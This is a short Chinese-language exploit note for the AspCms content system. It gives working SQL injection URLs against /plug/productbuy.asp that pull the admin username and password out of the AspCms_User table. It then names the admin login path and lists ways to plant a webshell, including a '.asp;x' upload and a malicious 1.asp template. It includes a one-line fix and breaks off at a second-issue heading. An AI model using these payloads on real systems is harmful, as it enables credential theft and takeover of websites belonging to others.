漏洞出现在
/plug/productbuy.asp
对接收的参数id没有进行过滤而导致的注入漏洞
注入后的页面有跳转，所以要快，建议用快捷键复制
爆用户名
/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
这是爆ID=1的账户名，如果发现权限不够可以往后试2,3,4...........

爆密码
/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1

后台登录地址：/admin/login.asp

后台拿shell
1、直接上传.asp;x
2、系统配置信息
3、模版管理新建1.asp模板，内容写马的内容.

修复方法：

id用cint(request("id"))

问题二：
